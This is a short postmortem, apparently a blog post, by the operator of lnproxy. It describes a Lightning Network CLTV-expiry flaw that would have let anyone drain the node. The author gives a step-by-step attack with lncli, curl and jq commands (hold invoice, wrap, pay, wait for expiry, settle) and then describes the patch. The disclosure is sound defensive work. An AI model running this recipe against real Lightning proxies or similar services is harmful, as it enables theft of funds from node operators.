This is the story of how I almost lost the funds on the lnproxy node 🙈.
And how Rene Pickhardt (https://www.rene-pickhardt.de/) saved the day.
Yesterday, on twitter, Rene asked:
How do you handle cltv delay? Do you just encode a large one into the invoice that you give out? Does this mean you have already found a payment flow and locked in htlcs or do you just guess generously? https://nitter.net/renepickhardt/status/1572933510326804481#m
I'm embarrassed to admit that I had thought about the cltv delay,
but it seemed complicated,
so I decided to stop thinking about it.
Fortunately, Rene's question got me thinking again and I realized that
that the service was vulnerable to a simple attack!
It would go a little something like this:
-
Create a hodl invoice:
head -c 32 /dev/urandom > preimage lncli addholdinvoice `sha256sum preimage | awk '{print $1}'` | jq -r '.payment_request' > invoice
-
Wrap the hodl invoice:
curl https://lnproxy.org/api/`cat invoice` > wrapped
-
Pay the wrapped invoice from another wallet:
qrencode -r wrapped -t UTF8i
The payment will trigger lnproxy to pay the original invoice so that it can learn the preimage. -
Check that lnproxy's payment has been accepted by your node and note the
expiry_height
:lncli lookupinvoice `sha256sum preimage | awk '{print $1}'` | jq '.htlcs'
-
Compare that
expiry_height
to the first payment'sexpiry_height
. On SBW the expiry is shown on the stuck payment's details, on lnd you can check theTIMELOCK
on:lncli2 trackpayment `sha256sum preimage | awk '{print $1}'`
-
If the expiry height on the original payment is lower than on the wrapped payment, then wait for the first payment to expire before settling the wrapped payment and profiting:
lncli settleinvoice `hexdump -v -e '1/1 "%02x"' preimage`
This vulnerability would have allowed anyone to drain the lnproxy node of funds.
I patched it by extending the
min_final_cltv_expiry
on wrapped invoices to ensure I have a few blocks during which to settle the original invoice.